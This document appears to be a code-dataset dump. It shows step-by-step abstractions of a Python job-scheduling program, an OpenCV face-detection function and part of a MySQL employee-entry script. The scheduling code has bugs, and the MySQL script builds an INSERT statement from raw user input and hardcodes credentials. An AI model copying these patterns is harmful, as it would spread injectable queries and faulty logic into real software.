"<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n\n\ndef takeInput():\n \"\"\"\n Takes input from the console and creates objects and stores in a list jobList\n :return: jobList-list in which input is stored as objects\n \"\"\"\n n = int(input())\n jobList = []\n for i in range(n):\n str = input().strip('\\n').split(' ')\n if int(str[1]) >= 600 and int(str[2]) <= 2300:\n jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),\n int(str[4]))\n jobList.append(jobs)\n return jobList\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n segregatedJobs = [[0]] * maximum\n temp = jobList[0].day\n j = 0\n for i in range(0, len(jobList)):\n if jobList[i].day == temp:\n segregatedJobs[j].append(jobList[i])\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j] = [0, jobList[i]]\n return segregatedJobs\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\ndef algo(segregatedJob):\n \"\"\"\n Implementing the interval scheduling algorithm\n :param segregatedJob: A sorted list of jobs of one particular day\n :return: None\n \"\"\"\n global total\n rho = computeRho(segregatedJob)\n r = len(rho)\n S = [[(0) for x in range(r)] for y in range(r)]\n k = 0\n while k < len(S):\n for j in range(k, len(S)):\n if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[\n j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = S[j - 1][k]\n elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S\n [j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - \n 1][k])\n else:\n pass\n S[k][j] = S[j][k]\n k += 1\n length = len(S)\n total += S[length - 1][length - 1]\n\n\ndef main():\n \"\"\"\n Main function.\n return: None\n \"\"\"\n global total\n jobList = takeInput()\n jobListSorted = sortInputByEndTimeAndDay(jobList)\n maximum = jobListSorted[len(jobListSorted) - 1].day\n segregatedJobs = divideJobs(jobListSorted, maximum)\n for i in range(len(segregatedJobs)):\n algo(segregatedJobs[i])\n print(int(total))\n\n\nif __name__ == '__main__':\n main()\n",
"<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n\n\ndef takeInput():\n \"\"\"\n Takes input from the console and creates objects and stores in a list jobList\n :return: jobList-list in which input is stored as objects\n \"\"\"\n n = int(input())\n jobList = []\n for i in range(n):\n str = input().strip('\\n').split(' ')\n if int(str[1]) >= 600 and int(str[2]) <= 2300:\n jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),\n int(str[4]))\n jobList.append(jobs)\n return jobList\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n segregatedJobs = [[0]] * maximum\n temp = jobList[0].day\n j = 0\n for i in range(0, len(jobList)):\n if jobList[i].day == temp:\n segregatedJobs[j].append(jobList[i])\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j] = [0, jobList[i]]\n return segregatedJobs\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\ndef algo(segregatedJob):\n \"\"\"\n Implementing the interval scheduling algorithm\n :param segregatedJob: A sorted list of jobs of one particular day\n :return: None\n \"\"\"\n global total\n rho = computeRho(segregatedJob)\n r = len(rho)\n S = [[(0) for x in range(r)] for y in range(r)]\n k = 0\n while k < len(S):\n for j in range(k, len(S)):\n if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[\n j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = S[j - 1][k]\n elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S\n [j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - \n 1][k])\n else:\n pass\n S[k][j] = S[j][k]\n k += 1\n length = len(S)\n total += S[length - 1][length - 1]\n\n\ndef main():\n \"\"\"\n Main function.\n return: None\n \"\"\"\n global total\n jobList = takeInput()\n jobListSorted = sortInputByEndTimeAndDay(jobList)\n maximum = jobListSorted[len(jobListSorted) - 1].day\n segregatedJobs = divideJobs(jobListSorted, maximum)\n for i in range(len(segregatedJobs)):\n algo(segregatedJobs[i])\n print(int(total))\n\n\n<code token>\n",
"<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n\n\ndef takeInput():\n \"\"\"\n Takes input from the console and creates objects and stores in a list jobList\n :return: jobList-list in which input is stored as objects\n \"\"\"\n n = int(input())\n jobList = []\n for i in range(n):\n str = input().strip('\\n').split(' ')\n if int(str[1]) >= 600 and int(str[2]) <= 2300:\n jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),\n int(str[4]))\n jobList.append(jobs)\n return jobList\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n segregatedJobs = [[0]] * maximum\n temp = jobList[0].day\n j = 0\n for i in range(0, len(jobList)):\n if jobList[i].day == temp:\n segregatedJobs[j].append(jobList[i])\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j] = [0, jobList[i]]\n return segregatedJobs\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\ndef algo(segregatedJob):\n \"\"\"\n Implementing the interval scheduling algorithm\n :param segregatedJob: A sorted list of jobs of one particular day\n :return: None\n \"\"\"\n global total\n rho = computeRho(segregatedJob)\n r = len(rho)\n S = [[(0) for x in range(r)] for y in range(r)]\n k = 0\n while k < len(S):\n for j in range(k, len(S)):\n if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[\n j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = S[j - 1][k]\n elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S\n [j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - \n 1][k])\n else:\n pass\n S[k][j] = S[j][k]\n k += 1\n length = len(S)\n total += S[length - 1][length - 1]\n\n\n<function token>\n<code token>\n",
"<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n\n\ndef takeInput():\n \"\"\"\n Takes input from the console and creates objects and stores in a list jobList\n :return: jobList-list in which input is stored as objects\n \"\"\"\n n = int(input())\n jobList = []\n for i in range(n):\n str = input().strip('\\n').split(' ')\n if int(str[1]) >= 600 and int(str[2]) <= 2300:\n jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),\n int(str[4]))\n jobList.append(jobs)\n return jobList\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n segregatedJobs = [[0]] * maximum\n temp = jobList[0].day\n j = 0\n for i in range(0, len(jobList)):\n if jobList[i].day == temp:\n segregatedJobs[j].append(jobList[i])\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j] = [0, jobList[i]]\n return segregatedJobs\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\n<function token>\n<function token>\n<code token>\n",
"<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n<function token>\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n segregatedJobs = [[0]] * maximum\n temp = jobList[0].day\n j = 0\n for i in range(0, len(jobList)):\n if jobList[i].day == temp:\n segregatedJobs[j].append(jobList[i])\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j] = [0, jobList[i]]\n return segregatedJobs\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\n<function token>\n<function token>\n<code token>\n",
"<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n<function token>\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\n<function token>\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\n<function token>\n<function token>\n<code token>\n",
"<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n<function token>\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n",
"<docstring token>\n<import token>\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n",
"<docstring token>\n<import token>\n\n\nclass Job:\n <docstring token>\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n",
"<docstring token>\n<import token>\n\n\nclass Job:\n <docstring token>\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n <function token>\n\n\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n",
"<docstring token>\n<import token>\n\n\nclass Job:\n <docstring token>\n <function token>\n <function token>\n\n\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n",
"<docstring token>\n<import token>\n<class token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n"
] | false |
9,948 |
1df3a5dc8ed767e20d34c2836eed79872a21a016
|
#LIBRERIAS
import cv2
import numpy as np
#FUNCION: recibe una imagen y te devuelve las coordenadas de las caras
def face_detector(img, face_cascade, eye_cascade, face_f):
#variables face_f
xf = face_f[0]
yf = face_f[1]
wf = face_f[2]
hf = face_f[3]
#variables img
xi = 0
yi = 0
wi = img.shape[1]
hi = img.shape[0]
#apertura de face_f con relacion a la img
c = float(0.1) #esto es un 10 %
print("face_f: ", xf, xf + wf, yf, yf + hf)
#roi_i = img[yf: yf + hf, xf: xf + wf]
#cv2.imshow("roi_i", roi_i)
if xf != xi or yf != yi or wf != wi or hf != hi: #(tendre que ver si AND o OR)
#face_f no es igual a img, hace falta la apertura
y1 = yf - round(c * hf)
y2 = yf + hf + round(c * hf)
x1 = xf - round(c * wf)
x2 = xf + wf + round(c * wf)
roi_f = img[y1: y2, x1: x2]
print("Face apertura: ", x1, x2, y1, y2)
cv2.imshow('Face apertura',roi_f)
else:
#face_f es igual a img, no hace falta la apertura
roi_f = img[face_f[1] : face_f[1] + face_f[3], face_f[0] : face_f[0] + face_f[2]]
#cv2.imshow('roi_f',roi_f)
#paso el roi_f a gris para un mejor tratamiento
gray_img = cv2.cvtColor(roi_f,cv2.COLOR_BGR2GRAY)
cv2.imshow("gray_img",gray_img)
#aplicar el clasificador de caras sobre la imagen y guardo el resultado en faces: seran la x, y, height y width
faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.04, minNeighbors=5)
print("Faces: ", faces)
if type(faces) == np.ndarray:
flag = -1
for x,y,w,h in faces:
flag = flag + 1
#print("Face: ", x,y,w,h)
if w >= 100 and w <= 125 and h >= 100 and h <= 125:
print("Entro en el if de tamaño")
#Region Of Interest
print("Face: ", x,y,w,h)
roi_gray = gray_img[y:y+h, x:x+w]
cv2.imshow("roi_gray", roi_gray)
#aplico el clasificador de ojos sobre la imagen de interes que se supone que es una cara y guardo el resultado en eyes
eyes = eye_cascade.detectMultiScale(roi_gray)
c_eyes = 0
for ex,ey,ew,eh in eyes:
c_eyes = c_eyes + 1
if c_eyes >= 2: #si hay mínimo dos ojos (a veces la boca abierta la detecta como un tercer ojo), es una cara
print("faces[flag]", faces[flag])
return faces[flag]
|
[
"#LIBRERIAS\nimport cv2\nimport numpy as np\n\n#FUNCION: recibe una imagen y te devuelve las coordenadas de las caras\ndef face_detector(img, face_cascade, eye_cascade, face_f): \n\n #variables face_f\n xf = face_f[0]\n yf = face_f[1]\n wf = face_f[2]\n hf = face_f[3]\n \n #variables img\n xi = 0\n yi = 0\n wi = img.shape[1]\n hi = img.shape[0]\n\n #apertura de face_f con relacion a la img\n c = float(0.1) #esto es un 10 %\n \n print(\"face_f: \", xf, xf + wf, yf, yf + hf)\n #roi_i = img[yf: yf + hf, xf: xf + wf]\n #cv2.imshow(\"roi_i\", roi_i)\n\n if xf != xi or yf != yi or wf != wi or hf != hi: #(tendre que ver si AND o OR)\n #face_f no es igual a img, hace falta la apertura\n \n y1 = yf - round(c * hf)\n y2 = yf + hf + round(c * hf)\n x1 = xf - round(c * wf)\n x2 = xf + wf + round(c * wf)\n\n roi_f = img[y1: y2, x1: x2]\n \n print(\"Face apertura: \", x1, x2, y1, y2)\n cv2.imshow('Face apertura',roi_f)\n\n else:\n\n #face_f es igual a img, no hace falta la apertura\n \n roi_f = img[face_f[1] : face_f[1] + face_f[3], face_f[0] : face_f[0] + face_f[2]]\n\n #cv2.imshow('roi_f',roi_f)\n\n\n\n #paso el roi_f a gris para un mejor tratamiento\n gray_img = cv2.cvtColor(roi_f,cv2.COLOR_BGR2GRAY)\n cv2.imshow(\"gray_img\",gray_img)\n \n #aplicar el clasificador de caras sobre la imagen y guardo el resultado en faces: seran la x, y, height y width\n faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.04, minNeighbors=5)\n print(\"Faces: \", faces)\n\n if type(faces) == np.ndarray:\n\n flag = -1\n\n for x,y,w,h in faces:\n\n flag = flag + 1\n\n #print(\"Face: \", x,y,w,h)\n \n if w >= 100 and w <= 125 and h >= 100 and h <= 125:\n print(\"Entro en el if de tamaño\")\n #Region Of Interest\n print(\"Face: \", x,y,w,h)\n roi_gray = gray_img[y:y+h, x:x+w]\n \n cv2.imshow(\"roi_gray\", roi_gray)\n\n #aplico el clasificador de ojos sobre la imagen de interes que se supone que es una cara y guardo el resultado en eyes\n eyes = eye_cascade.detectMultiScale(roi_gray)\n \n c_eyes = 0\n\n for ex,ey,ew,eh in eyes:\n \n c_eyes = c_eyes + 1\n\n if c_eyes >= 2: #si hay mínimo dos ojos (a veces la boca abierta la detecta como un tercer ojo), es una cara\n print(\"faces[flag]\", faces[flag])\n return faces[flag]\n \n \n \n \n ",
"import cv2\nimport numpy as np\n\n\ndef face_detector(img, face_cascade, eye_cascade, face_f):\n xf = face_f[0]\n yf = face_f[1]\n wf = face_f[2]\n hf = face_f[3]\n xi = 0\n yi = 0\n wi = img.shape[1]\n hi = img.shape[0]\n c = float(0.1)\n print('face_f: ', xf, xf + wf, yf, yf + hf)\n if xf != xi or yf != yi or wf != wi or hf != hi:\n y1 = yf - round(c * hf)\n y2 = yf + hf + round(c * hf)\n x1 = xf - round(c * wf)\n x2 = xf + wf + round(c * wf)\n roi_f = img[y1:y2, x1:x2]\n print('Face apertura: ', x1, x2, y1, y2)\n cv2.imshow('Face apertura', roi_f)\n else:\n roi_f = img[face_f[1]:face_f[1] + face_f[3], face_f[0]:face_f[0] +\n face_f[2]]\n gray_img = cv2.cvtColor(roi_f, cv2.COLOR_BGR2GRAY)\n cv2.imshow('gray_img', gray_img)\n faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.04,\n minNeighbors=5)\n print('Faces: ', faces)\n if type(faces) == np.ndarray:\n flag = -1\n for x, y, w, h in faces:\n flag = flag + 1\n if w >= 100 and w <= 125 and h >= 100 and h <= 125:\n print('Entro en el if de tamaño')\n print('Face: ', x, y, w, h)\n roi_gray = gray_img[y:y + h, x:x + w]\n cv2.imshow('roi_gray', roi_gray)\n eyes = eye_cascade.detectMultiScale(roi_gray)\n c_eyes = 0\n for ex, ey, ew, eh in eyes:\n c_eyes = c_eyes + 1\n if c_eyes >= 2:\n print('faces[flag]', faces[flag])\n return faces[flag]\n",
"<import token>\n\n\ndef face_detector(img, face_cascade, eye_cascade, face_f):\n xf = face_f[0]\n yf = face_f[1]\n wf = face_f[2]\n hf = face_f[3]\n xi = 0\n yi = 0\n wi = img.shape[1]\n hi = img.shape[0]\n c = float(0.1)\n print('face_f: ', xf, xf + wf, yf, yf + hf)\n if xf != xi or yf != yi or wf != wi or hf != hi:\n y1 = yf - round(c * hf)\n y2 = yf + hf + round(c * hf)\n x1 = xf - round(c * wf)\n x2 = xf + wf + round(c * wf)\n roi_f = img[y1:y2, x1:x2]\n print('Face apertura: ', x1, x2, y1, y2)\n cv2.imshow('Face apertura', roi_f)\n else:\n roi_f = img[face_f[1]:face_f[1] + face_f[3], face_f[0]:face_f[0] +\n face_f[2]]\n gray_img = cv2.cvtColor(roi_f, cv2.COLOR_BGR2GRAY)\n cv2.imshow('gray_img', gray_img)\n faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.04,\n minNeighbors=5)\n print('Faces: ', faces)\n if type(faces) == np.ndarray:\n flag = -1\n for x, y, w, h in faces:\n flag = flag + 1\n if w >= 100 and w <= 125 and h >= 100 and h <= 125:\n print('Entro en el if de tamaño')\n print('Face: ', x, y, w, h)\n roi_gray = gray_img[y:y + h, x:x + w]\n cv2.imshow('roi_gray', roi_gray)\n eyes = eye_cascade.detectMultiScale(roi_gray)\n c_eyes = 0\n for ex, ey, ew, eh in eyes:\n c_eyes = c_eyes + 1\n if c_eyes >= 2:\n print('faces[flag]', faces[flag])\n return faces[flag]\n",
"<import token>\n<function token>\n"
] | false |
9,949 |
8a2b7376369513ce403a2542fb8c6d5826b2169b
|
# -*- coding: utf-8 *-*
import MySQLdb
conn = MySQLdb.connect('localhost', 'ABarbara', 'root', '1dawabarbara') # Abro la conexión
def crearTabla(query): # Le paso la cadena que realizará el create como parámetro.
cursor = conn.cursor() #En un cursor (de la conexión) almaceno lo que quiero enviar a la base de datos.
cursor.execute(query) #Ejecuto la orden
cursor.close() # Una vez utilizado, cierro mi cursor.
def insertarEmpleados():
cursor= conn.cursor()
for x in range(2):
try:
nombre = raw_input('Nombre: ')
apellido = raw_input('Apellido: ')
sueldoBase = comprobarSueldo(float(raw_input ('Sueldo base: ')))
hijos = (int(raw_input('Número de hijos: ')))
sueldoFinal = calcularImponible(sueldoBase, hijos)
insert = (("INSERT INTO EMPLEADOS VALUES('%s', '%s', '%f', '%d', '%f')" ) % (nombre, apellido, sueldoBase, hijos, sueldoFinal))
cursor.execute(insert)
except ValueError:
print "Error, tipo de dato incorrecto"
except Exception:
print "Error"
cursor.close()
def comprobarSueldo(sueldoBase):
if sueldoBase<600:
sueldoBase=600
return sueldoBase
def calcularImponible(sueldo, hijos):
if hijos>0:
sueldoFinal= sueldo+((0.05*sueldo)*hijos)
else:
sueldoFinal= sueldo
return sueldoFinal
crearTabla("CREATE TABLE EMPLEADOS (nombre varchar(100), apellido varchar(100), sueldo_base Decimal, hijos int, sueldo_final Decimal)")
insertarEmpleados()
conn.commit()
conn.close()
|
[
"# -*- coding: utf-8 *-*\nimport MySQLdb \n\nconn = MySQLdb.connect('localhost', 'ABarbara', 'root', '1dawabarbara') # Abro la conexión \n\ndef crearTabla(query): # Le paso la cadena que realizará el create como parámetro.\n\tcursor = conn.cursor() #En un cursor (de la conexión) almaceno lo que quiero enviar a la base de datos.\n\tcursor.execute(query) #Ejecuto la orden\n\tcursor.close() # Una vez utilizado, cierro mi cursor.\n\ndef insertarEmpleados():\n\tcursor= conn.cursor()\n\tfor x in range(2):\n\t\ttry:\n\t\t\tnombre = raw_input('Nombre: ')\n\t\t\tapellido = raw_input('Apellido: ')\n\t\t\tsueldoBase = comprobarSueldo(float(raw_input ('Sueldo base: ')))\n\t\t\thijos = (int(raw_input('Número de hijos: ')))\n\t\t\tsueldoFinal = calcularImponible(sueldoBase, hijos)\n\t\t\tinsert = ((\"INSERT INTO EMPLEADOS VALUES('%s', '%s', '%f', '%d', '%f')\" ) % (nombre, apellido, sueldoBase, hijos, sueldoFinal))\n\n\t\t\tcursor.execute(insert) \n\n\t\texcept ValueError:\n\t\t\tprint \"Error, tipo de dato incorrecto\"\n\t\texcept Exception:\n\t\t\tprint \"Error\"\n\tcursor.close()\n\ndef comprobarSueldo(sueldoBase):\n\tif sueldoBase<600:\n\t\tsueldoBase=600\n\treturn 